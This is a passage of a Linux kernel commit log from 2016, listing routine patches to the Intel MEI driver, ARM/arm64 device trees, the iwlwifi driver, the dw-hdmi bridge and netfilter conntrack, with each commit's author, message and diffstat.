01:06:01 2016 +0300 mei: drop redundant krealloc and checks in irq read The read callback is always prepared with MTU-sized buffer and the FW can't send more than the MTU in one message. Checking for buffer existence and krealloc to increase receive buffer size are redundant and may be safely discarded. Signed-off-by: Alexander Usyskin Signed-off-by: Tomas Winkler Signed-off-by: Greg Kroah-Hartman drivers/misc/mei/interrupt.c | 36 +++++++++++------------------------- 1 file changed, 11 insertions(+), 25 deletions(-) commit c85dba9e87376aa8e08fa7b024df562d0fda189b Author: Alexander Usyskin Date: Thu Jun 16 17:58:59 2016 +0300 mei: amthif: drop mei_clear_lists function Open code mei_clear_lists into its only caller mei_amthif_releas and drop unused parameter 'dev' form from mei_clear_list function. Signed-off-by: Alexander Usyskin Signed-off-by: Tomas Winkler Signed-off-by: Greg Kroah-Hartman drivers/misc/mei/amthif.c | 27 +++++---------------------- 1 file changed, 5 insertions(+), 22 deletions(-) commit a808c80cdaa83939b220176fcdffca8385d88ba6 Author: Alexander Usyskin Date: Thu Jun 16 17:58:58 2016 +0300 mei: add read callback on demand for fixed_address clients The Fixed address clients do not work with the flow control, and the packet RX callback was allocated upon TX with anticipation of a following RX. This won't work if the clients with unsolicited Rx. Rather than preparing read callback upon a write we allocate one directly on the reciev path if one doesn't exists. Signed-off-by: Alexander Usyskin Signed-off-by: Tomas Winkler Signed-off-by: Greg Kroah-Hartman drivers/misc/mei/client.c | 15 ++++----------- drivers/misc/mei/interrupt.c | 10 ++++++++-- 2 files changed, 12 insertions(+), 13 deletions(-) commit 97d549b4d5fca22ebde0798cb8c16c19b4ae837a Author: Alexander Usyskin Date: Thu Jun 16 17:58:57 2016 +0300 mei: add file pointer to the host client structure Store the file associated with a client in the host client structure, this enables dropping the special amthif client file pointer from struct mei_device, and this is also a preparation for changing the way rx packet allocation for fixed_address clients Signed-off-by: Alexander Usyskin Signed-off-by: Tomas Winkler Signed-off-by: Greg Kroah-Hartman drivers/misc/mei/amthif.c | 13 +++++++------ drivers/misc/mei/interrupt.c | 1 - drivers/misc/mei/main.c | 1 + drivers/misc/mei/mei_dev.h | 5 ++--- 4 files changed, 10 insertions(+), 10 deletions(-) commit a03c608f25fbe2eb5f2862a4dab1791948496215 Author: Alexander Usyskin Date: Thu Jun 16 17:58:56 2016 +0300 mei: move read cb to complete queue if not connected Move read cb to the completion queue if a read finds out that client is not connected. This expedite user space reader wake on error condition. Signed-off-by: Alexander Usyskin Signed-off-by: Tomas Winkler Signed-off-by: Greg Kroah-Hartman drivers/misc/mei/interrupt.c | 1 + 1 file changed, 1 insertion(+) commit 2d4d5481e2d6f93b25fcfb13a9f20bbfbf54266a Author: Tomas Winkler Date: Thu Jun 23 00:25:31 2016 +0300 mei: fix return value on disconnection Correct errno on client disconnection is -ENODEV not -EBUSY Cc: #4.3+ Signed-off-by: Tomas Winkler Signed-off-by: Alexander Usyskin Signed-off-by: Greg Kroah-Hartman drivers/misc/mei/amthif.c | 2 +- drivers/misc/mei/bus.c | 2 +- drivers/misc/mei/main.c | 2 +- 3 files changed, 3 insertions(+), 3 deletions(-) commit 1eb5bd4d83f566e5ea8521b6020d0cfcb8f1c3ef Author: Alexander Usyskin Date: Thu Jun 16 17:58:54 2016 +0300 mei: drop read complete queue emptiness check In the course of the read flow we want to wait for read completion only if the read queue is empty. However the calling list_empty(&cl->rd_completed) is a duplication as the same check was performed by mei_cl_read_cb() and the waiting is skipped if it returns not NULL. Signed-off-by: Alexander Usyskin Signed-off-by: Tomas Winkler Signed-off-by: Greg Kroah-Hartman drivers/misc/mei/bus.c | 3 ++- drivers/misc/mei/main.c | 3 ++- 2 files changed, 4 insertions(+), 2 deletions(-) commit 041330d9c33e975791f4d543db3f25d9a6c474c9 Author: Tomas Winkler Date: Thu Jun 16 17:58:53 2016 +0300 mei: hbm: add missing argument in the kdoc In mei_hbm_cl_hdr buf argument was not described Signed-off-by: Tomas Winkler Signed-off-by: Alexander Usyskin Signed-off-by: Greg Kroah-Hartman drivers/misc/mei/hbm.c | 1 + 1 file changed, 1 insertion(+) commit 77537ad2917bbca0a73ee6ebd44fc0ce5416d590 Author: Alexander Usyskin Date: Thu Jun 16 17:58:52 2016 +0300 mei: recover after errors in runtime pm flow Schedule link reset if failed to perform runtime suspend or resume. Set active runtime pm stte on link reset to clean runtimr pm error, if present. Signed-off-by: Alexander Usyskin Signed-off-by: Tomas Winkler Signed-off-by: Greg Kroah-Hartman drivers/misc/mei/hw-me.c | 3 +++ drivers/misc/mei/hw-txe.c | 3 +++ drivers/misc/mei/pci-me.c | 6 ++++++ drivers/misc/mei/pci-txe.c | 7 +++++++ 4 files changed, 19 insertions(+) commit aab3b1a34ae376a80ebb05a217d950df13db5156 Author: Alexander Usyskin Date: Tue May 24 16:03:41 2016 -0400 mei: drop mei_io_cb_alloc_buf mei_io_cb_alloc_buf have a single caller :mei_cl_alloc_cb. After amthif stopped using it, the code can be integrated into the caller and the function can be dropped. Signed-off-by: Alexander Usyskin Signed-off-by: Tomas Winkler Signed-off-by: Greg Kroah-Hartman drivers/misc/mei/client.c | 32 ++++++-------------------------- drivers/misc/mei/client.h | 2 -- 2 files changed, 6 insertions(+), 28 deletions(-) commit 35eda92afa467232ab2a01422b813fa4a14542c5 Author: Alexander Usyskin Date: Tue May 24 16:03:40 2016 -0400 mei: amthif: use mei_cl_alloc_cb for allocating cbs Use mei_cl_alloc_cb wrapper instead of open code steps Signed-off-by: Alexander Usyskin Signed-off-by: Tomas Winkler Signed-off-by: Greg Kroah-Hartman drivers/misc/mei/amthif.c | 16 +++------------- 1 file changed, 3 insertions(+), 13 deletions(-) commit 22393381a489e61b87d85184c02cf070a410c80d Author: Alexander Usyskin Date: Tue May 24 16:03:39 2016 -0400 mei: amthif: drop mei_amthif_send_cmd Incorporate the mei_amthif_send_cmd code into its only caller: mei_amthif_run_next_cmd Signed-off-by: Alexander Usyskin Signed-off-by: Tomas Winkler Signed-off-by: Greg Kroah-Hartman drivers/misc/mei/amthif.c | 52 +++++++++++++++-------------------------------- 1 file changed, 16 insertions(+), 36 deletions(-) commit 9fa0be8bb66a42a5f75e00a54732c92f3772aa6e Author: Alexander Usyskin Date: Tue May 24 16:03:38 2016 -0400 mei: amthif: enable poll for async events Currently the poll function is bailing early for amthif client and ignores requests for async events notifications. Move async event processing before amthif to enable async events notifications on amthif client. Signed-off-by: Alexander Usyskin Signed-off-by: Tomas Winkler Signed-off-by: Greg Kroah-Hartman drivers/misc/mei/main.c | 10 +++++----- 1 file changed, 5 insertions(+), 5 deletions(-) commit bca7dbacfd4c7f1f069a70e241e39aea5bd85808 Author: Alexander Usyskin Date: Tue May 24 16:03:37 2016 -0400 mei: amthif: drop iamthif_current_cb iamthif_current_cb was used in request cancel in amthif code. Now a canceled request is discarded only at the end of the processing and the variable lost its purpose and can be safely removed. Signed-off-by: Alexander Usyskin Signed-off-by: Tomas Winkler Signed-off-by: Greg Kroah-Hartman drivers/misc/mei/amthif.c | 5 ----- drivers/misc/mei/interrupt.c | 3 --- drivers/misc/mei/mei_dev.h | 2 -- 3 files changed, 10 deletions(-) commit 32a1dc1d02eb41196903278f40d6a4aef66ce535 Author: Alexander Usyskin Date: Tue May 24 16:03:36 2016 -0400 mei: amthif: fix request cancel Currently, all requests cancelled by the user are immediately removed from the queues. Such removal can cause unexpected behavior in the case when a request is partially written or a reply is received after the request is cancelled. To resolve this a request is always fully processed and the result is discarded in case the request was canceled. This completes the partial fix in commit: 9d04ee1 ("mei: amthif: discard not read messages") Signed-off-by: Alexander Usyskin Signed-off-by: Tomas Winkler Signed-off-by: Greg Kroah-Hartman drivers/misc/mei/amthif.c | 111 +++++++++++++++---------------------------- drivers/misc/mei/interrupt.c | 2 - 2 files changed, 38 insertions(+), 75 deletions(-) commit ca455fafc2ef6a26089ba082b89e5d6e89cb2f8f Author: Alexander Usyskin Date: Tue May 24 16:03:35 2016 -0400 mei: amthif: drop READ_COMPLETE state AMTHIF code now uses read completed queue to store replies from the FW. It is possible to send the next request as soon as a read from the FW is completed. With these changes we don't need the READ_COMPLETE state. Signed-off-by: Alexander Usyskin Signed-off-by: Tomas Winkler Signed-off-by: Greg Kroah-Hartman drivers/misc/mei/amthif.c | 34 +++++++++++----------------------- drivers/misc/mei/main.c | 2 +- drivers/misc/mei/mei_dev.h | 5 +---- 3 files changed, 13 insertions(+), 28 deletions(-) commit 3bdba5ac181a2e9eb76bb7673bb11ab5b9783f63 Author: Masahiro Yamada Date: Mon Aug 29 03:27:42 2016 +0900 ARM: dts: uniphier: switch over to PSCI Use PSCI for enable-method instead of SoC specific implementation. Signed-off-by: Masahiro Yamada arch/arm/boot/dts/uniphier-common32.dtsi | 5 +++++ arch/arm/boot/dts/uniphier-ld4.dtsi | 1 + arch/arm/boot/dts/uniphier-pro4.dtsi | 3 ++- arch/arm/boot/dts/uniphier-pro5.dtsi | 3 ++- arch/arm/boot/dts/uniphier-pxs2.dtsi | 5 ++++- arch/arm/boot/dts/uniphier-sld3.dtsi | 8 +++++++- arch/arm/boot/dts/uniphier-sld8.dtsi | 1 + 7 files changed, 22 insertions(+), 4 deletions(-) commit 77896e4d05af6a9330c5410a4d45cc72fd030f1c Author: Masahiro Yamada Date: Tue Aug 30 14:02:41 2016 +0900 ARM: dts: uniphier: match DT names to other projects and documents All UniPhier device trees have the common prefix "uniphier-", so "ph1-" is just making names longer. Recent documents and other projects are not using PH1- prefixes any more. Signed-off-by: Masahiro Yamada arch/arm/boot/dts/Makefile | 18 +- arch/arm/boot/dts/uniphier-ld4-ref.dts | 102 +++++++++ arch/arm/boot/dts/uniphier-ld4.dtsi | 187 ++++++++++++++++ arch/arm/boot/dts/uniphier-ld6b-ref.dts | 96 ++++++++ arch/arm/boot/dts/uniphier-ld6b.dtsi | 68 ++++++ arch/arm/boot/dts/uniphier-ph1-ld4-ref.dts | 101 --------- arch/arm/boot/dts/uniphier-ph1-ld4.dtsi | 186 --------------- arch/arm/boot/dts/uniphier-ph1-ld6b-ref.dts | 95 -------- arch/arm/boot/dts/uniphier-ph1-ld6b.dtsi | 67 ------ arch/arm/boot/dts/uniphier-ph1-pro4-ace.dts | 113 ---------- arch/arm/boot/dts/uniphier-ph1-pro4-ref.dts | 103 --------- arch/arm/boot/dts/uniphier-ph1-pro4-sanji.dts | 108 --------- arch/arm/boot/dts/uniphier-ph1-pro4.dtsi | 204 ----------------- arch/arm/boot/dts/uniphier-ph1-pro5.dtsi | 198 ---------------- arch/arm/boot/dts/uniphier-ph1-sld3-ref.dts | 110 --------- arch/arm/boot/dts/uniphier-ph1-sld3.dtsi | 260 --------------------- arch/arm/boot/dts/uniphier-ph1-sld8-ref.dts | 105 --------- arch/arm/boot/dts/uniphier-ph1-sld8.dtsi | 185 --------------- arch/arm/boot/dts/uniphier-pro4-ace.dts | 114 ++++++++++ arch/arm/boot/dts/uniphier-pro4-ref.dts | 104 +++++++++ arch/arm/boot/dts/uniphier-pro4-sanji.dts | 109 +++++++++ arch/arm/boot/dts/uniphier-pro4.dtsi | 205 +++++++++++++++++ arch/arm/boot/dts/uniphier-pro5.dtsi | 199 +++++++++++++++++ arch/arm/boot/dts/uniphier-proxstream2-gentil.dts | 88 -------- arch/arm/boot/dts/uniphier-proxstream2-vodka.dts | 78 ------- arch/arm/boot/dts/uniphier-proxstream2.dtsi | 209 ----------------- arch/arm/boot/dts/uniphier-pxs2-gentil.dts | 90 ++++++++ arch/arm/boot/dts/uniphier-pxs2-vodka.dts | 79 +++++++ arch/arm/boot/dts/uniphier-pxs2.dtsi | 210 +++++++++++++++++ arch/arm/boot/dts/uniphier-sld3-ref.dts | 111 +++++++++ arch/arm/boot/dts/uniphier-sld3.dtsi | 261 ++++++++++++++++++++++ arch/arm/boot/dts/uniphier-sld8-ref.dts | 106 +++++++++ arch/arm/boot/dts/uniphier-sld8.dtsi | 186 +++++++++++++++ 33 files changed, 2236 insertions(+), 2219 deletions(-) commit 5d9a83c9c25c276fb7e6715dda02aed8c430b938 Author: Masahiro Yamada Date: Mon Aug 29 03:29:55 2016 +0900 arm64: dts: uniphier: add pinctrl property to System Bus node This pinctrl is needed to get access to the UniPhier System Bus. Signed-off-by: Masahiro Yamada arch/arm64/boot/dts/socionext/uniphier-ld20.dtsi | 2 ++ 1 file changed, 2 insertions(+) commit cea59bd02c2872cd14023253fd210bc00f5b7401 Author: Masahiro Yamada Date: Tue Aug 30 07:13:09 2016 +0900 arm64: dts: uniphier: match DT names to other projects and documents All UniPhier device trees have the common prefix "uniphier-", so "ph1-" is just making names longer. Recent documents and other projects are not using PH1- prefixes any more. Signed-off-by: Masahiro Yamada arch/arm64/boot/dts/socionext/Makefile | 2 +- .../arm64/boot/dts/socionext/uniphier-ld20-ref.dts | 88 +++++++ arch/arm64/boot/dts/socionext/uniphier-ld20.dtsi | 290 +++++++++++++++++++++ .../boot/dts/socionext/uniphier-ph1-ld20-ref.dts | 87 ------- .../boot/dts/socionext/uniphier-ph1-ld20.dtsi | 289 -------------------- 5 files changed, 379 insertions(+), 377 deletions(-) commit 76f8c0e17edc6eba43f84952e5a87c7f50f69370 Author: Sara Sharon Date: Wed Jun 29 12:23:06 2016 +0300 iwlwifi: pcie: remove dead code If device family is 8000 then iwl_pcie_load_cpu_sections() won't be called at all (iwl_pcie_load_cpu_sections_8000() is called in that case) so this piece of code never gets called. Signed-off-by: Sara Sharon Signed-off-by: Luca Coelho drivers/net/wireless/intel/iwlwifi/iwl-prph.h | 13 ------------- drivers/net/wireless/intel/iwlwifi/pcie/trans.c | 8 -------- 2 files changed, 21 deletions(-) commit d6a2c5c78dcbbbe9dc20ff6e126b83f088cd0501 Author: Sara Sharon Date: Wed Jun 29 12:08:48 2016 +0300 iwlwifi: pcie: fix ucode load flow for a000 devices Turns out we should access TFH relative addresses. Also, the FH_UCODE_LOAD_STATUS was replaced by UREG_UCODE_LOAD_STATUS. Signed-off-by: Sara Sharon Signed-off-by: Luca Coelho drivers/net/wireless/intel/iwlwifi/iwl-fh.h | 15 ++++++----- drivers/net/wireless/intel/iwlwifi/iwl-prph.h | 8 ++++++ drivers/net/wireless/intel/iwlwifi/pcie/trans.c | 33 +++++++++++++++++++------ 3 files changed, 40 insertions(+), 16 deletions(-) commit ae79785f13972b2180d3d460510b7d1981d08cbc Author: Sara Sharon Date: Thu Jun 30 16:36:24 2016 +0300 iwlwifi: pcie: refrain from SCD accesses Up till now we accessed SCD configuration only for initial configuration and for enabling command queue. For a000 generation the command queue is open by default and firmware configures the rest. No driver SCD accesses are expected. Make sure this is the case. Signed-off-by: Sara Sharon Signed-off-by: Luca Coelho drivers/net/wireless/intel/iwlwifi/pcie/trans.c | 4 ++++ drivers/net/wireless/intel/iwlwifi/pcie/tx.c | 13 ++++++++++++- 2 files changed, 16 insertions(+), 1 deletion(-) commit fe4a7249732de1fe18e7ceb41924e329a572cb2d Author: Oren Givon Date: Thu Jul 7 09:40:12 2016 +0300 iwlwifi: add the new 9170 series Add a new config struct for the new 9170 series and add the first PCI ID for it. Signed-off-by: Oren Givon Signed-off-by: Luca Coelho drivers/net/wireless/intel/iwlwifi/iwl-9000.c | 10 ++++++++++ drivers/net/wireless/intel/iwlwifi/iwl-config.h | 1 + drivers/net/wireless/intel/iwlwifi/pcie/drv.c | 1 + 3 files changed, 12 insertions(+) commit 22ccabf17a2c0e4adf1b6e4ef0d2df79e93cf7b6 Author: Oren Givon Date: Thu Jul 7 09:23:56 2016 +0300 iwlwifi: add the new 9270 series Add a new config struct for the new 9270 series and add the first PCI ID for it. Signed-off-by: Oren Givon Signed-off-by: Luca Coelho drivers/net/wireless/intel/iwlwifi/iwl-9000.c | 10 ++++++++++ drivers/net/wireless/intel/iwlwifi/iwl-config.h | 1 + drivers/net/wireless/intel/iwlwifi/pcie/drv.c | 1 + 3 files changed, 12 insertions(+) commit c62446d2b028eab024e45f9f73e9496089f5fa7a Author: Oren Givon Date: Thu Jul 7 10:31:17 2016 +0300 iwlwifi: add new 9460 series PCI IDs Add 4 more new 9460 series PCI IDs. Signed-off-by: Oren Givon Signed-off-by: Luca Coelho drivers/net/wireless/intel/iwlwifi/pcie/drv.c | 4 ++++ 1 file changed, 4 insertions(+) commit 827e9ab85402dc876d23e27c64b837255460108e Author: Oren Givon Date: Sun Jun 26 14:15:27 2016 +0300 iwlwifi: add a new series 9460 with new PCI ID Add a new series to the 9000 series called 9460. In addition, add a new PCI ID that is the 9460 new series. Signed-off-by: Oren Givon Signed-off-by: Luca Coelho drivers/net/wireless/intel/iwlwifi/iwl-9000.c | 4 ++-- drivers/net/wireless/intel/iwlwifi/iwl-config.h | 2 +- drivers/net/wireless/intel/iwlwifi/pcie/drv.c | 27 +++++++++++++------------ 3 files changed, 17 insertions(+), 16 deletions(-) commit 486c96a753177a37e8dff4195df698df35d5c2bc Author: Oren Givon Date: Thu Jun 23 14:51:41 2016 +0300 iwlwifi: rename and reorder 9000 series configuration structs Rename and reorder the 9000 series configuration structs: - struct containing configuration of 5165 was renamed to 9000. Signed-off-by: Oren Givon Signed-off-by: Luca Coelho drivers/net/wireless/intel/iwlwifi/iwl-9000.c | 63 +++++++++++++------------ drivers/net/wireless/intel/iwlwifi/iwl-config.h | 4 +- drivers/net/wireless/intel/iwlwifi/pcie/drv.c | 34 +++++++------ 3 files changed, 50 insertions(+), 51 deletions(-) commit 19aefa45941d2d1f6220f0b9768cdef907e15086 Author: Liad Kaufman Date: Tue Mar 8 14:29:51 2016 +0200 iwlwifi: mvm: support txq tid owner change Every active TXQ is assigned to a TID given through the SCD_CONFIG_CMD, and acts as an identifier in the FW. However, there may be cases this ownership needs to be changed. For example, in the following scenario: 1. TID x is owner of a queue 2. Due to a shortage of queues, TID y and z share with x 3. TID x becomes inactive and needs to be removed from the shared queue. In this scenario, if another queue is freed and traffic on x continues, we can't allocate it a new queue as long as it is the owner of the first queue. Support moving ownership of a TXQ to a different TID (same STA) without stopping the queue. Signed-off-by: Liad Kaufman Signed-off-by: Luca Coelho drivers/net/wireless/intel/iwlwifi/mvm/sta.c | 51 ++++++++++++++++++++++++++++ 1 file changed, 51 insertions(+) commit f7c692deef19ea953e3f792cc1c148dfcc74ba17 Author: Liad Kaufman Date: Tue Mar 8 10:41:32 2016 +0200 iwlwifi: mvm: use defines for SCD_CONFIG_CMD enablement Due to the addition of another option in the SCD_CONFIG_CMD's %enable field, change the assignment of this field to use defines rather than hard-code the value itself. Signed-off-by: Liad Kaufman Signed-off-by: Luca Coelho drivers/net/wireless/intel/iwlwifi/mvm/fw-api-tx.h | 12 ++++++++++-- drivers/net/wireless/intel/iwlwifi/mvm/sta.c | 4 ++-- drivers/net/wireless/intel/iwlwifi/mvm/utils.c | 13 +++++++------ 3 files changed, 19 insertions(+), 10 deletions(-) commit 8d98ae6eb0d51f75a7af51758072558ffbb8270f Author: Liad Kaufman Date: Tue Feb 2 16:02:46 2016 +0200 iwlwifi: mvm: re-assign old queues after hw restart in dqa mode When working in DQA mode, if a queue is shared and a HW restart occurs, there might be a possible race condition between stations on the queues, and an existing queue might be left with no queues. To solve this, make sure in DQA mode to re-assign the same queues as before the HW restart. Signed-off-by: Liad Kaufman Signed-off-by: Luca Coelho drivers/net/wireless/intel/iwlwifi/mvm/sta.c | 72 +++++++++++++++++++++++++++- 1 file changed, 70 insertions(+), 2 deletions(-) commit edbe961cf44eed1d3b78f3b1eee0dad013ad927f Author: Liad Kaufman Date: Tue Feb 2 15:43:32 2016 +0200 iwlwifi: mvm: keep track of tid associated with each queue When sending the SCD_QUEUE_CONFIG command, the queue is associated to a specific TID. If later there is a need to use this TID on a different queue instead, it first needs to be unassociated from the first queue. Keep track for every queue what TID is associated with it. Signed-off-by: Liad Kaufman Signed-off-by: Luca Coelho drivers/net/wireless/intel/iwlwifi/mvm/mvm.h | 1 + drivers/net/wireless/intel/iwlwifi/mvm/sta.c | 7 +++++++ drivers/net/wireless/intel/iwlwifi/mvm/utils.c | 3 +++ 3 files changed, 11 insertions(+) commit 9f9af3d7d303a5f622ceb219bd03bba3af553e76 Author: Liad Kaufman Date: Wed Dec 23 16:03:46 2015 +0200 iwlwifi: mvm: re-aggregate shared queue after unsharing When a shared queue becomes unshared, aggregations should be re-enabled if they've existed before. Make sure that they do this, if required. Signed-off-by: Liad Kaufman Signed-off-by: Luca Coelho drivers/net/wireless/intel/iwlwifi/mvm/mvm.h | 17 +++ drivers/net/wireless/intel/iwlwifi/mvm/sta.c | 166 +++++++++++++++++++++---- drivers/net/wireless/intel/iwlwifi/mvm/sta.h | 4 + drivers/net/wireless/intel/iwlwifi/mvm/tx.c | 38 +++++- drivers/net/wireless/intel/iwlwifi/mvm/utils.c | 8 +- 5 files changed, 205 insertions(+), 28 deletions(-) commit d5c8b122860580734dd712c08a4d6420cc927213 Author: Stuart Yoder Date: Mon Aug 29 13:44:44 2016 -0500 arm64: dts: add stdout-path to chosen node for ls2080a/ls1043a boards Add a default stdout-path to chosen node for ls2080a/ls1043a boards to allow booting kernels without specifying console info in bootargs. Signed-off-by: Stuart Yoder Signed-off-by: Shawn Guo arch/arm64/boot/dts/freescale/fsl-ls1043a-qds.dts | 4 ++++ arch/arm64/boot/dts/freescale/fsl-ls1043a-rdb.dts | 4 ++++ arch/arm64/boot/dts/freescale/fsl-ls2080a-qds.dts | 3 +++ arch/arm64/boot/dts/freescale/fsl-ls2080a-rdb.dts | 4 ++++ 4 files changed, 15 insertions(+) commit 44605b6536966350ebf6a8fc6db7543376a601a0 Author: Stuart Yoder Date: Mon Aug 29 13:31:12 2016 -0500 arm64: dts: updates serial aliases for ls1043a rdb and qds boards -add missing serial aliases to ls1043a-rdb -update ls1043a-qds boards serial aliases to use the standard duarts instead of low power uarts Signed-off-by: Stuart Yoder Signed-off-by: Shawn Guo arch/arm64/boot/dts/freescale/fsl-ls1043a-qds.dts | 10 ++++------ arch/arm64/boot/dts/freescale/fsl-ls1043a-rdb.dts | 4 ++++ 2 files changed, 8 insertions(+), 6 deletions(-) commit 30062fb0b31956709445e6f91d4f723d3808e0fa Author: York Sun Date: Tue Aug 9 14:59:39 2016 -0700 arm64: dts: Add DDR memory controller for Layerscape SoCs Add DDR memory controller nodes to enable EDAC driver. Signed-off-by: York Sun Signed-off-by: Shawn Guo arch/arm64/boot/dts/freescale/fsl-ls1043a.dtsi | 7 +++++++ arch/arm64/boot/dts/freescale/fsl-ls2080a.dtsi | 14 ++++++++++++++ 2 files changed, 21 insertions(+) commit b0118e7d936c550c88bcb0e4687020e8d5cb9b54 Author: Jose Abreu Date: Mon Aug 29 10:30:51 2016 +0100 drm: bridge/dw-hdmi: Fix colorspace and scan information registers values Colorspace and scan information values were being written in wrong offsets. This patch corrects this and writes the values at the offsets specified in the databook. Signed-off-by: Jose Abreu Acked-by: Russell King Cc: Carlos Palminha Cc: Archit Taneja Cc: David Airlie Cc: Russell King Cc: Daniel Vetter Cc: dri-devel@lists.freedesktop.org Cc: linux-kernel@vger.kernel.org Signed-off-by: Archit Taneja Link: http://patchwork.freedesktop.org/patch/msgid/96fd0f06b7ebc2ee5cb8239a99648f3107e24497.1471530573.git.joabreu@synopsys.com drivers/gpu/drm/bridge/dw-hdmi.c | 7 ++++--- 1 file changed, 4 insertions(+), 3 deletions(-) commit 779994fa3636d46848edb402fe7517968e036e6f Author: Gao Feng Date: Mon Aug 29 18:25:28 2016 +0800 netfilter: log: Check param to avoid overflow in nf_log_set The nf_log_set is an interface function, so it should do the strict sanity check of parameters. Convert the return value of nf_log_set as int instead of void. When the pf is invalid, return -EOPNOTSUPP. Signed-off-by: Gao Feng Signed-off-by: Pablo Neira Ayuso include/net/netfilter/nf_log.h | 3 +-- net/bridge/netfilter/nf_log_bridge.c | 3 +-- net/ipv4/netfilter/nf_log_arp.c | 3 +-- net/ipv4/netfilter/nf_log_ipv4.c | 3 +-- net/ipv6/netfilter/nf_log_ipv6.c | 3 +-- net/netfilter/nf_log.c | 8 +++++--- 6 files changed, 10 insertions(+), 13 deletions(-) commit 3cb27991aad74299af2cd55a9c12684f5b0c76c6 Author: Gao Feng Date: Sun Aug 28 21:41:22 2016 +0800 netfilter: log_arp: Use ARPHRD_ETHER instead of literal '1' There is one macro ARPHRD_ETHER which defines the ethernet proto for ARP, so we could use it instead of the literal number '1'. Signed-off-by: Gao Feng Signed-off-by: Pablo Neira Ayuso net/ipv4/netfilter/nf_log_arp.c | 2 +- 1 file changed, 1 insertion(+), 1 deletion(-) commit ad66713f5a20034b3b2a0cbc184319b2ede93f11 Author: Florian Westphal Date: Thu Aug 25 15:33:35 2016 +0200 netfilter: remove __nf_ct_kill_acct helper After timer removal this just calls nf_ct_delete so remove the __ prefix version and make nf_ct_kill a shorthand for nf_ct_delete. Signed-off-by: Florian Westphal Signed-off-by: Pablo Neira Ayuso include/net/netfilter/nf_conntrack.h | 13 +++---------- net/netfilter/nf_conntrack_core.c | 12 +++++------- 2 files changed, 8 insertions(+), 17 deletions(-) commit c023c0e4a0eb7f0dfebe29b41801bf7373bf4f1d Author: Florian Westphal Date: Thu Aug 25 15:33:34 2016 +0200 netfilter: conntrack: resched gc again if eviction rate is high If we evicted a large fraction of the scanned conntrack entries re-schedule the next gc cycle for immediate execution. This triggers during tests where load is high, then drops to zero and many connections will be in TW/CLOSE state with < 30 second timeouts. Without this change it will take several minutes until conntrack count comes back to normal. Signed-off-by: Florian Westphal Acked-by: Eric Dumazet Signed-off-by: Pablo Neira Ayuso net/netfilter/nf_conntrack_core.c | 6 ++++++ 1 file changed, 6 insertions(+) commit b87a2f9199ea82eaadca5bcc596b62cb8214cc0a Author: Florian Westphal Date: Thu Aug 25 15:33:33 2016 +0200 netfilter: conntrack: add gc worker to remove timed-out entries Conntrack gc worker to evict stale entries. GC happens once every 5 seconds, but we only scan at most 1/64th of the table (and not more than 8k) buckets to avoid hogging cpu. This means that a complete scan of the table will take several minutes of wall-clock time. Considering that the gc run will never have to evict any entries during normal operation because those will happen from packet path this should be fine. We only need gc to make sure userspace (conntrack event listeners) eventually learn of the timeout, and for resource reclaim in case the system becomes idle. We do not disable BH and cond_resched for every bucket so this should not introduce noticeable latencies either. A followup patch will add a small change to speed up GC for the extreme case where most entries are timed out on an otherwise idle system. v2: Use cond_resched_rcu_qs & add comment wrt. missing restart on nulls value change in gc worker, suggested by Eric Dumazet. v3: don't call cancel_delayed_work_sync twice (again, Eric). Signed-off-by: Florian Westphal Acked-by: Eric Dumazet Signed-off-by: Pablo Neira Ayuso net/netfilter/nf_conntrack_core.c | 76 +++++++++++++++++++++++++++++++++++++++ 1 file changed, 76 insertions(+) commit 2344d64ec71661f7201082cf727a7154f662e249 Author: Florian Westphal Date: Thu Aug 25 15:33:32 2016 +0200 netfilter: evict stale entries on netlink dumps When dumping we already have to look at the entire table, so we might as well toss those entries whose timeout value is in the past. We also look at every entry during resize operations. However, eviction there is not as simple because we hold the global resize lock so we can't evict without adding a 'expired' list to drop from later. Considering that resizes are very rare it doesn't seem worth doing it. Signed-off-by: Florian Westphal Acked-by: Eric Dumazet Signed-off-by: Pablo Neira Ayuso net/netfilter/nf_conntrack_netlink.c | 25 ++++++++++++++++++++++++- 1 file changed, 24 insertions(+), 1 deletion(-) commit f330a7fdbe1611104622faff7e614a246a7d20f0 Author: Florian Westphal Date: Thu Aug 25 15:33:31 2016 +0200 netfilter: conntrack: get rid of conntrack timer With stats enabled this eats 80 bytes on x86_64 per nf_conn entry, as Eric Dumazet pointed out during netfilter workshop 2016. Eric also says: "Another reason was the fact that Thomas was about to change max timer range [..]" (500462a9de657f8, 'timers: Switch to a non-cascading wheel'). Remove the timer and use a 32bit jiffies value containing timestamp until entry is valid. During conntrack lookup, even before doing tuple comparision, check the timeout value and evict the entry in case it is too old. The dying bit is used as a synchronization point to avoid races where multiple cpus try to evict the same entry. Because lookup is always lockless, we need to bump the refcnt once when we evict, else we could try to evict already-dead entry that is being recycled. This is the standard/expected way when conntrack entries are destroyed. Followup patches will introduce garbage colliction via work queue and further places where we can reap obsoleted entries (e.g. during netlink dumps), this is needed to avoid expired conntracks from hanging around for too long when lookup rate is low after a busy period. Signed-off-by: Florian Westphal Acked-by: Eric Dumazet Signed-off-by: Pablo Neira Ayuso include/net/netfilter/nf_conntrack.h | 23 +++++++-- net/netfilter/nf_conntrack_core.c | 91 ++++++++++++++++++++---------------- net/netfilter/nf_conntrack_netlink.c | 14 ++---- net/netfilter/nf_conntrack_pptp.c | 3 +- net/netfilter/nf_nat_core.c | 6 --- 5 files changed, 74 insertions(+), 63 deletions(-) commit 616b14b46957b52dc7e1f3ec2210d3f9051b1178 Author: Florian Westphal Date: Thu Aug 25 15:33:30 2016 +0200 netfilter: don't rely on DYING bit to detect when destroy event was sent The reliable event delivery mode currently (ab)uses the DYING bit to detect which entries on the dying list have to be skipped when re-delivering events from the eache worker in reliable event mode. Currently when we delete the conntrack from main table we only set this bit if we could also deliver the netlink destroy event to userspace. If we fail we move it to the dying list, the ecache worker will reattempt event delivery for all confirmed conntracks on the dying list that do not have the DYING bit set. Once timer is gone, we can no longer use if (del_timer()) to detect when we 'stole' the reference count owned by the timer/hash entry, so we need some other way to avoid racing with other cpu. Pablo suggested to add a marker in the ecache extension that skips entries that have been unhashed from main table but are still waiting for the last reference count to be dropped (e.g. because one skb waiting on nfqueue verdict still holds a reference). We do this by adding a tristate. If we fail to deliver the destroy event, make a note of this in the eache extension. The worker can then skip all entries that are in a different state. Either they never delivered a destroy event, e.g. because the netlink backend was not loaded, or redelivery took place already. Once the conntrack timer is removed we will now be able to replace del_timer() test with test_and_set_bit(DYING, &ct->status) to avoid racing with other cpu that tries to evict the same conntrack. Because DYING will then be set right before we report the destroy event we can no longer skip event reporting when dying bit is set. Suggested-by: Pablo Neira Ayuso Signed-off-by: Florian Westphal Acked-by: Eric 